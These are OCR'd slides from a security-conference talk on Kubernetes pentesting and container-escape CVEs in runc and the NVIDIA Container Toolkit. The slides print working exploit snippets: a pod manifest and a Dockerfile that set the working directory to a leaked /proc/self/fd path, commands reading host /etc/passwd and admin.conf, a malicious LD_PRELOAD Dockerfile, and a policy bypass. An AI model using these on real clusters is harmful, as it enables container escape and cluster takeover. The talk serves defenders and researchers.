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whoami NIGHTS

ACloud & Container Security @
A Author CVE & BDU
ABug Bounty hunter

AEditor @k8security

ASpeaker at PHDays, OFZZONE
and other IT & IS conferences
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Agenda NIGHTS

ATypical K8spentest
ACVE and real cases
A Some conclusions



DISCLAIMER

All events and cases in this talk are fictitious. Any resemblance to
actual events, companies, or people is purely coincidental.
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Intruder Models

Intruder Models

ZERC
MIGHTS

External

Internal

-

Compromised d
developer




External

See the Kubernetes Network outside

the cluster

AVulnerable K8s components
AVulnerable applications

AMisconfigured Kubernetes components
(API Server, Kubelet, etcd)

AMisconfigured Docker / Containerd /

CRIO daemon

AMisconfigured dashboards (Weave
Scope, Kubernetes Dashboard, Octant)

Cluster

Access to machines/VMs —————>

Access via Kubernetes
API or proxy

Node

Access via Kuelet API

Escape container to host
trough vulnerability
or volume mount

L e - 4
Node
Kubelet
Pod
Container
Application
V

Exploit vulnerability
in application code

ZERC
MIGHTS

Access to etcd API

Intercept/modify/inject
control-plane traffic

Intercept/modify/inject
application traffic



Internal T 1N Pod

Inside the Pod

ABad Pods reconnaiseance
APrivate keys, tokens & creds in ENV ]

AOther services, cluster components .
AService Account permissions é

Container______
breakout ]

|

Service Account
privilege

ZERC
MIGHTS

Sensitive
info in ENV



Internal T on Node

Inside the Node

AOId dumps, sensitive logs
AThird-party instances

AKeys, SA tokens, configs, certs

A

(Yuval Avrahami & Shaul Ben
Hali, Palo Alto Networks.
BlackHat USA 2022)

ZERC

\') ATTACK
®
ATTACKER OS FLOW
VECTOR ATTACKER  Sm—
‘ Kubelet l l Kube-Proxy ‘ ‘ Kubelet l | Kube-Proxy | | Kubelet l | Kube-Proxy |
-*- -&- | LATERAL MOVEMENT | -&-
POD POD POD
J y )
| SANDBOX | | SANDBOX | ] SANDBOX |
Node_O Node_’ Z | ode_2
’ SYSCALLS I

|

SYSCALLS ‘
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KERNEL
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https://i.blackhat.com/USA-22/Thursday/US-22-Avrahami-Kubernetes-Privilege-Escalation-Container-Escape-Cluster-Admin.pdf
https://i.blackhat.com/USA-22/Thursday/US-22-Avrahami-Kubernetes-Privilege-Escalation-Container-Escape-Cluster-Admin.pdf
https://i.blackhat.com/USA-22/Thursday/US-22-Avrahami-Kubernetes-Privilege-Escalation-Container-Escape-Cluster-Admin.pdf
https://i.blackhat.com/USA-22/Thursday/US-22-Avrahami-Kubernetes-Privilege-Escalation-Container-Escape-Cluster-Admin.pdf
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Compromised Developer NIGHTS
ACan push its own — (=——
Images in registry = = ==

AThere is access
to internal services
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How to deploy I Compromised Developer icts

> 02_kss ||

2 02_k8s kubectl apply -f deployment.yaml

deployment.apps/kubeapp-example created -
9 02_k8s kubectl get deployment.apps/kubeapp-example

NAME READY UP-TO-DATE AVAILABLE AGE

kubeapp-example 2/2 2 2 16s

DevPlatform

11
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Restrictions NIGHTS

APolicy Engine policiesi sometimes hard,
sometimes not so hard

ANetwork Policy
ASOC alerting
A\ _(a) [

12



My talks about K8s pentest

L3
/| SERGEY
‘ KANIBOR
Cepreﬁ F PENTESTING KUBERNETES:
FROM ZERO TO HERO

KaHun6op

R&D / Container Security, Luntry

%
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INTER
NATIONAL
OPEN
COMPETITION
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https://www.youtube.com/watch?v=1w_t6mOaOq4
https://www.youtube.com/watch?v=1w_t6mOaOq4
https://www.youtube.com/watch?v=1w_t6mOaOq4
https://www.youtube.com/watch?v=1w_t6mOaOq4
https://www.youtube.com/watch?v=1w_t6mOaOq4
https://www.youtube.com/watch?v=1w_t6mOaOq4
https://www.youtube.com/watch?v=1w_t6mOaOq4
https://www.youtube.com/watch?v=MwVXWU324XY
https://www.youtube.com/watch?v=MwVXWU324XY
https://www.youtube.com/watch?v=MwVXWU324XY
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Microsoft Threat Matrix for Kubernete NIGHTS

Initial Acc ce ] De 0 al A ) very Lateral Movement Collection Impact

figuration files
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http://aka.ms/KubernetesThreatMatrix

ZERC

Microsoft Threat Matrix for Kubernetes NIGHTS
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https://materials.luntry.ru/f.php?h=0iC1Q30f&d=1

ZERC

MIGHTS
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kCTFand Kernel CTF NIGHTS

Introducing kermelCTF

5KE and

9 stephen

We just announced a new bug bounty on a hardened
kubernetes cluster.

The fun part: 1days are explicitly in scope!
Want to exploit a public iller bug that hasn't been
patched in our cluster yet? That's fair game.

More info here:

Google

Total rewards
Number of exploits

fs

io_uring net

B Total rewards [l Number of exploits

18


https://google.github.io/kctf/
https://google.github.io/security-research/kernelctf/rules.html
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Cloud Native/Container on Pwn20wn NIGHTS

Target

Docker Desktop

containerd

Firecracker

Prize

$60,000

$60,000

$70,000

$30,000

Master of Pwn
Points

Target

Chroma

Postgres pgvector

Ollama

NVIDIA Triton Inference Server

NVIDIA Container Toolkit

Prize

$20,000

$30,000

$40,000

$20,000

$30,000

$30,000

Master of Pwn
Points

19


https://www.zerodayinitiative.com/blog/2024/1/16/pwn2own-vancouver-2024-bring-cloud-nativecontainer-security-to-pwn2own
https://www.zerodayinitiative.com/blog/2024/1/16/pwn2own-vancouver-2024-bring-cloud-nativecontainer-security-to-pwn2own
https://www.zerodayinitiative.com/blog/2024/1/16/pwn2own-vancouver-2024-bring-cloud-nativecontainer-security-to-pwn2own

Zeroday Cloud

@D NVIDIA Container Toolkit

Enables GPU access for containerized cloud

workloads.

$40,000

Container escape

,: Docker

The industry standard for running
containers.

$40,000

User-provided image

$60,000

Arbitrary image

_w. Kubelet Server

Manages Pods on each Kubernetes Node.

$40,000

El Containerd

The core container runtime in Kubernetes.

$40,000

User-provided image

$60,000

Arbitrary image

_g. K8s API Server

The central control plane for Kubernetes

clusters.

$80,000

A Linux Kernel

The OS powering most cloud VMs.

$30,000

Container escape on Ubuntu host

ZERC
MIGHTS

20


https://www.zeroday.cloud/
https://www.zeroday.cloud/
https://www.zeroday.cloud/
https://www.zeroday.cloud/
https://www.zeroday.cloud/
https://www.zeroday.cloud/
https://www.zeroday.cloud/

CONTAINER RUNTIME
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Container runtime NIGHTS

gVisor (3 INCLAVARE ‘

Firecracker

el crl O @ Lima & Ll &

K l_l A 5 ArR o
CNCF GRADUATED CNCF GRADUATED Ixd rune Singularity

~ N
A AL
box Virtual Kubelet WasmEdgeRuntime

StratoVirt
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runc

Kubernetes

Master

Kubelet

High-level Runtime

Container
Runtime

Low-level Runtime

OCl
Runtime

ZERC
MIGHTS

CLI etc. Registry

PULL

High-level Runtime

Low-level Runtime

— OCl —

Container

23
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CVE2024-21626 1 runc NIGHTS

Aln early 2024, researchers at Snyk, Acmcoder
and SUSE discovered a number of critical
vulnerabilities in runc

AOne of the vectors allowed for a relatively
simple container escape

A But how??2? runc vulnerable to container breakout through process.cwd trickery and leaked fds
.o ( High severity ) ( GitHub Reviewed | Published on Jan 31, 2024 in opencontainersfrunc « Updated on Feb 20, 2024
00O i root@cve: .
Y «-~ v ote rne’ at 23:27:44 ©
kubectl exec -it cve -- /bin/bash I versions

shell-init: error retrieving current directory: getcwd: cannot access parent dir
ectories: No such file or directory

rootacve:.# cat ../../../../etc/hostname

job-working-directory: error retrieving current directory: getcwd: cannot access
parent directories: No such file or directory

gimme-0a482b65-6

rootacve: . #

7

26


https://labs.snyk.io/resources/cve-2024-21626-runc-process-cwd-container-breakout/
https://labs.snyk.io/resources/cve-2024-21626-runc-process-cwd-container-breakout/
https://labs.snyk.io/resources/cve-2024-21626-runc-process-cwd-container-breakout/
https://labs.snyk.io/resources/cve-2024-21626-runc-process-cwd-container-breakout/
https://labs.snyk.io/resources/cve-2024-21626-runc-process-cwd-container-breakout/
https://labs.snyk.io/resources/cve-2024-21626-runc-process-cwd-container-breakout/
https://labs.snyk.io/resources/cve-2024-21626-runc-process-cwd-container-breakout/
https://labs.snyk.io/resources/cve-2024-21626-runc-process-cwd-container-breakout/
https://labs.snyk.io/resources/cve-2024-21626-runc-process-cwd-container-breakout/
https://labs.snyk.io/resources/cve-2024-21626-runc-process-cwd-container-breakout/

CVE2024-21626 T deep dive NIGHTS

1. File descriptor leak

2. Working dir (YAML) /| s ycgroup s /

3. Guess fd CONTAINER
4. Root In container == root on the host T

runc

Host OS

27
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Kubernetes specific NIGHTS

ATry to guess fd i change workingDir
AMaybe not vulnerable

$ kubectl describe pod
[..SNIP..]

Warning Failed 3s (x4 over 43s} kubelet Error: failed to start container "testing": Error
response from daemon: failed to create task for container: failed to create shim task: OCI runtime create
failed: runc create failed: unable to start container process: error during container init: mkdir
/proc/self/fd/7: not a directory: unknown: Are you trying to mount a directory onto a file (or vice-versa)?
Check if the specified host path exists and is the expected type

28



Kernel-level limitations

AVulnerable version !=

successfulpwn
ANo info in CVE

ensure kernal >= (5.4,4.19,..) and thereis openat2 in /proc/kallsyms .

$ grep openat2 /proc/kallsyms

ffffffffa64290do
ffffffffac4290e0
ffffffffac66dedd
ffffffffa666dead
ffffffffa666e020
ffffffffa666e030
ffffffffa666el50
ffffffffa666el60
ffffffffa666e190
ffffffffa666elad
ffffffffa69871e0d
ffffffffa6987110
ffffffffa6987280
ffffffffa6987290
ffffffffa863dled
ffffffffa863d260
ffffffffa863d2ed
ffffffffa863d320
ffffffffa863d340
ffffffffa8affb48
ffffffffa8affb50
ffffffffa8bd2bl8
ffffffffaBb@56f0
ffffffffa8b@5700

T

T
t
t
t
t
T
T
T
T
T
T
T
T
d
d
d
d
d
d
d
d
d
d

_ pfx___audit_openat2_how
__audit_openat2_how
__pfx_do_sys_openat2
do_sys_openat2
__pfx___do_sys_openat2
__do_sys_openat2

__pfx___ x64_sys_openat2
__x64_sys_openat2
__pfx___ia32_sys_openat2
__ia32_sys_openat2
__pfx_io_openat2_prep
io_openat2_prep
__pfx_io_openat2
io_openat2
event_exit__openat2
event_enter__openat2
__syscall_meta__openat2
args__openat2
types__openat2
__event_exit__openat2
__event_enter__openat2
__p_syscall_meta__openat2
_eil_addr____ia32_sys_openat2
_eil_addr___ x64_sys_openat2

ZERC
MIGHTS

v1.0.0-rc93<= runc <=1.1.11

&
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CVE2024-21626 1 sploit

apiVersion :vl
kind: Pod
metadata:

name: cve202421626
Spec:

containers:

- name: ubuntu

Image: ubuntu

=* workingDir : /proc/self/
command: ['sleep"]
args : ["Iinfinity"]

fd /8

ZERC
MIGHTS
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CVE2024-21626 7 exploitation NIGHTS

[

cat../..[..]..] etc / passwd




CVE2024-21626 7T real case NIGHTS

Hocat oS/ onfuns oo /o fEtC/passwd

bin:x:2:2:bin:/bin:fusr/shin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin: /bin/sync

games:x:5:60:games: /usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:1p:/var/spool/1pd: fusr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news: /var/spool/news: /usr/shin/nologin

uucp:x:10:10:uucp: /var/spool/uucp: /usr/sbin/nologin
proxy:x:13:13:proxy:/bin: /usr/sbin/nologin
www—data:x:33:33:www—data: /var/www: /usr/sbin/nologin
backup:x:34:34:backup: /var/backups: /usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd: /usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody: /nonexistent: /usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd—timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:10@:107::/nonexistent: /usr/sbin/nologin

32



CVE2024-216261 cluster takeover NIGHTS

# cat ../../uu /o / . St /Kubernetes/admin. conf
ry: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
apiVersion: vl

clusters:
= cluster:
certificate-authority-data: 1odmNOQVFFTEJRQXdGVEVUTUJFROEXVUUKQXhNS2EZzVm LaWEp IWhSbGNEQWVGdzBSTKRBNE 1UWX!

FROEXVUUKQXhNS 2EzVm1aWEp1W1hSbGNGQWVGdzBSTKRENE1UWXdPRI

1odmNOQVFFTEJRQXAGVEVUTUJ
ZBhXRG53ZEdHZmxWRK1RWF JsdApnMmVBMT JRZ2phazEzZ218V2IYK3BVT2ITNj ZNSDViZFFkeS9PeVBnbXdwcHZ
BZj hFQkFNQBJhQXdFd1 1 EV1IwbEJBd3dDZ1 135!

33




But we use KS8sé RIGHTS

apiVersion : kyverno.io /vl
kind: ClusterPolicy
metadata:
name: disallow - workingdir
spec:
validationFailureAction . enforce
background: true
rules:
- name: disallow - workingdir
match:
resources:
kinds:
- Pod
validate:

[ A O OA QUbikg /peoc/selff ~ fd in workindDir is not allowed "

pattern:
: spec:
containers;

- =(workingDir $ k 2nYDOI Ay Al £Y

34



Easy bypass

FROMubuntu:latest

WORKDIR /proc/self/ fd /8

ZERC
MIGHTS
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CVE2024-21626 1 conclusions NIGHTS

APwned 8/10 clusters even in 2025
AYou should scan the Dockerfile or YAML for detection

AEasy exploitation
AHigh impact, up to Cluster Takeover
AYou can dig around in Node and find sol

ACan be sploited in various ways:

AVia Dockerfile
AVia manifest, overriding workingDir

36
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GPU workloads in Kubernetes NIGHTS
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NVIDIA Container Toolkit NIGHTS

CONTAINER 1 CONTAINER N

_ﬂ'p pLi.:atm M5 == ssssanssnannannnns

CUDA Toolkit «-vrevrereeranrannns
Container 05 User Space

Docker En g| [JE sssssanssssansnnsnsannnnnnnsnnnns

Kie)



NVIDIA Container Toolkit NIGHTS

Containerd NVIDIA Container ToolKit

3 containerd-shim @ nVIDIA

C

E prestart/createRuntime > @ GPU device mounts /dev/nvidia*
; createContainer @ NVIDIA driver libraries from the host
- ey @ Inject environment variables

= @ Device cgroup*

— START

-

-

— poststart

O

O poststop

l

Container

40



NVIDIA GPU Operator

10

GPU

pod-gpu-workload

CUDA “things”

K8s

NVIDIA GPU Operator & Device Plugin

container-runtime
NVIDIA runtime hook

oS

NVIDIA drivers

oS

kerner modules

ABSTRACTION LEVEL

ZERC
MIGHTS
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CVE2024-0132 NIGHTS

Base
Score

NVIDIA Container Toolkit 1.16.1 or
earlier contains a Time-of-check
Time-of-Use (TOCTOU) vulnerability
when used with default configuration
where a specifically crafted container

Code execution,
denial of service,
escalation of
CWE-367 | privileges,
information
disclosure, data
tampering

image may gain access to the host file
system. This does not impact use
cases where CDI is used. A successful
exploit of this vulnerability may lead to
code execution, denial of service,
escalation of privileges, information
disclosure, and data tampering.

42



What i1s known

AA custom-built image is required

A After launching a container based on this
Image, the host filesystem will be mounted
Inside

AAs result, weol !l gai
runtime socket

n

acCcCessS

t

o

t

h e

ZERC
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Summarize NIGHTS
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https://luntry.ru/blog/lomaem-vashi-videokarty-raspakovka-eksplojta-dlya-cve-2024-0132
https://luntry.ru/blog/lomaem-vashi-videokarty-raspakovka-eksplojta-dlya-cve-2024-0132
https://luntry.ru/blog/lomaem-vashi-videokarty-raspakovka-eksplojta-dlya-cve-2024-0132
https://luntry.ru/blog/lomaem-vashi-videokarty-raspakovka-eksplojta-dlya-cve-2024-0132
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CVE2024-0132 71 real case NIGHTS

ML Platform

3anyck Harpy3ok MaluHHoro o6ydyeHus B Kubernetes

= MoCMOTpETb BCE HAarpy3Ku

Co3pgaTb HOBYIO Harpysky

ONHUTE @ vy OnN¢ nycka arpy 3 Kubernetes Knacrtepe

Mma Harpy3ku

my-ml-workl
YHWKaneHoe MMA ANns Balen Har
Docker o6pa3s

BbiGepuTe o6pa3

puTe npeay AHOB/TEHHbLIX

Tun GPU

Bbi6epuTe TN GPU

Tvn Buge Tbl O1A BbIM MCNEeHun

MocMoTpeTh Harpyaku
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CVE2024-01321 real case NIGHTS

ML Platform

3anyck Harpy3ok MalwuHHoro o6ydeHun B Kubernetes

= lMocMoTpeTb BCe Harpyaku

Co3paTb HOBYIO Harpysky

3anonHute popMy AnNA 3a VIL Harpyaku B Kubernet

Mm#A Harpysku
my-first

YHUKanbHOe UMSA N8 Ballen He

Docker o6pa3

TensorFlow + Jupyter

Jupyter Data Science
TensorFlow + Jupyter
PyTorch

Hugging Face Transformers
RAPIDS Al

KacTomHeblin 06pas...
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CVE2024-0132 71 real case NIGHTS

3anyLlieHHble Harpy3Ku

YnpasneHue BawmmMmmn ML Harpy3skamu B Kubernetes

my-first

running CospgaHo: 02.10.2025, 21:45

Docker o6pas: Tun GPU:

tensorflow/tensorflow: latest-gpu-jupyter NVIDIA A100

7 OTtkpbiTb Jupyter Lab
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CVE2024-01321 real case

Data B Terminal 2
(dev) choldgraf@meatloaf

I _'| Py 1ahb-¢ 1
— appveyor.yml
—— apt.txt

— environment.yml
— LICENSE

— postBuild
— README .md

— talks.yml
L tasks.py
—— [ lah

— LICENSE
— UL vl

L README .md
L Untitled.ipynb

7 directories, 11 files
(dev) choldgraf@meatloaf

$ tree .

s 1

-L 2

ZERC
MIGHTS
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CVE2024-0132 71 pwned NIGHTS

M Terminal 1

ASyStem dIrS 1s -la /usr/1lib/x86_64-1inux-gnu/libdxcore.so0.1337.hostfs

total 48

drwxr-xr-x 39 root root 1460 Jun 26 11:57
drwxr-xr-x 1 root root 4096 Jun 26 15:38
root root @ Oct 3 2024
root root 80 Mar 26 15:56
root root @ Jun 18 15:09
root veet_ 240 Mar 27 02:33
root root go-2ct 2024
root root 200 Dec 2824
root root 60 Oct 2024
root root 6 Oct 2024
root root @ Oct 2024
root root Oct 2024
root root Oct 2024
root root Oct 2024
root root Oct 2024
root root Oct 2024
root root Oct 2024
root root Oct 2024
root root Oct 2024
115 119 Oct 2024
115 119 Oct 2024
root root Oct 2024
root root Oct 2024
root root Oct 2024
root root Oct 2024
root root Oct 2024
root root Oct 2024
root root Oct 2024
root root Oct 2024
root root Nov 2024
root root Jun 10:33
root root Jun 11:57
root root Oct 2024
root root Oct 2024
root root Jan 14:33

ATWHE=XT—X
P rw——wW——w-=
drwxr-xr-x
drwxr-xr-x
drwxr-xr-—x
drwxr-xr-x

drwxr-xr-x
S rWX rwx———
— WX IrwWX———
drwxr-xr-x
drwxr-xr-x
drwx—————
drwxr=xr-x
—MW—r=—r——
—-MW-r——r——
—-MW—r—r——
—-W—r——r——
—-rW—r——r——
drwxr-xr-x
—W—r——r——
drwxr-xr-x
drwx—————
drwxr-xr-x

WWwWwWwwwwwwwuwuwuwwwwwwwwwww

N
S

1
2
6
2
8
3
1
1
2
2
1
1
1
2
2
3
1
1
2
3
2
2
1
1
1
1
1
2
1
2
2
2

N NN
OCWNOYO
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CVE2024-0132 1 exploiting fixing version ficks

Alt can fail even in patched versions if allow -cuda-compat-libs-from-container
Is forcibly enabled

A feature flag, allow-cuda-compat-libs-from-container was included in the NVIDIA Container Toolkit to allow users to opt-in to the previous
behavior if required.

Warning: Opting-in to the previous behavior will remove protection against this vulnerability and is not recommended.

To set the feature flag ensure that the NVIDIA Container Toolkit config file at fetc/nvidia-container-runtime/config.toml includes:

[features]
allow-cuda-compat-libs-from-container = true

51



CVE2024-0132 1 restrictions

AThere may be limitations if workloads
are not run as root

Alf a non -standard configuration is used
(via CDI), this vulnerability won't affect
you

ADepending on the base image,
the libraries will be located in different

directories

ZERC
MIGHTS
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How to test GPU

nvidia-container-toolkit runs on a fake-nvidia

root@localhost:~# nvidia-container-cli info

NVRM version:
CUDA version:

Device Index:
Device Minor:
Model:

Brand:

GPU UUID:

Bus Location:
Architecture:

Device Index:
Device Minor:
Model:

Brand:

GPU UUID:

Bus Location:
Architecture:

Device Index:
Device Minor:
Model:

Brand:

GPU UUID:

Bus Location:
Architecture:

Device Index:
Device Minor:
Model:

Brand:

GPU UUID:

Bus Location:
Architecture:

535.104.85
12.2

5]

2]

NVIDIA Tesla T4
Tesla
GPU-@-FAKE-UUID
P0000000:00:00.0
7.5

1

1

NVIDIA Tesla T4
Tesla
GPU-1-FAKE-UUID
00000000:00:00.0
7.5

2

2

NVIDIA Tesla T4
Tesla
GPU-2-FAKE-UUID
00000000:00:00.0
7.5

3

3

NVIDIA Tesla T4
Tesla
GPU-3-FAKE-UUID
00000000:00:00.0
7.5

without GPU

i

ZERC
MIGHTS
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https://github.com/ssst0n3/fake-nvidia
https://github.com/ssst0n3/fake-nvidia
https://github.com/ssst0n3/fake-nvidia

ZERC

CVE2024-0132 1 conclusions NIGHTS

Alf you're looking at an ML cluster,
It'll most likely pwned

APermissions are required to use
a custom image

ADetected at the Dockerfile level
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Continuing with the GPU NIGHTS

e
TN AR

R L
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Found within Pwn20wn

SUCCESS - Nir Ohfeld (@nirohfeld) Shir Tamari (@shirtamari) of Wiz Research used a
External Initialization of Trusted Variables bug to exploit the #NVIDIA Container Toolkit.
This unique bug earns them $30,000 and 3 Master of Pwn points.

sy -

zdi@ubuntu-Precision-5490: $ docker run --runtime=nvidia --gpus=all
' zdi@ubuntu-Precision-5490: $ cat /owned

-MII*

-RESEARCH

uid=0(root) gid=0(root) groups=0(root
WY zdi@ubuntu-Precision-5490: S

>

ZERC
MIGHTS
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CVE2025-23266 NIGHTS

The Exploit: A Three-Line Docker File

One of the most alarming aspects of this vulnerability is its simplicity. An attacker only needs

to build a container image with a malicious payload and the following three-line Dockerfile.

The Malicious Dockerfile:

FROM busybox

ENV LD_PRELOAD=/proc/self/cwd/poc.so
ADD poc.so /

57


https://www.wiz.io/blog/nvidia-ai-vulnerability-cve-2025-23266-nvidiascape
https://www.wiz.io/blog/nvidia-ai-vulnerability-cve-2025-23266-nvidiascape
https://www.wiz.io/blog/nvidia-ai-vulnerability-cve-2025-23266-nvidiascape
https://www.wiz.io/blog/nvidia-ai-vulnerability-cve-2025-23266-nvidiascape
https://www.wiz.io/blog/nvidia-ai-vulnerability-cve-2025-23266-nvidiascape
https://www.wiz.io/blog/nvidia-ai-vulnerability-cve-2025-23266-nvidiascape
https://www.wiz.io/blog/nvidia-ai-vulnerability-cve-2025-23266-nvidiascape
https://www.wiz.io/blog/nvidia-ai-vulnerability-cve-2025-23266-nvidiascape
https://www.wiz.io/blog/nvidia-ai-vulnerability-cve-2025-23266-nvidiascape
https://www.wiz.io/blog/nvidia-ai-vulnerability-cve-2025-23266-nvidiascape
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CVE2025-23266 NIGHTS

AUnlike other hooks, the createContainer hook inherits
the container's env by default

AANd rund as a privileged process on the host
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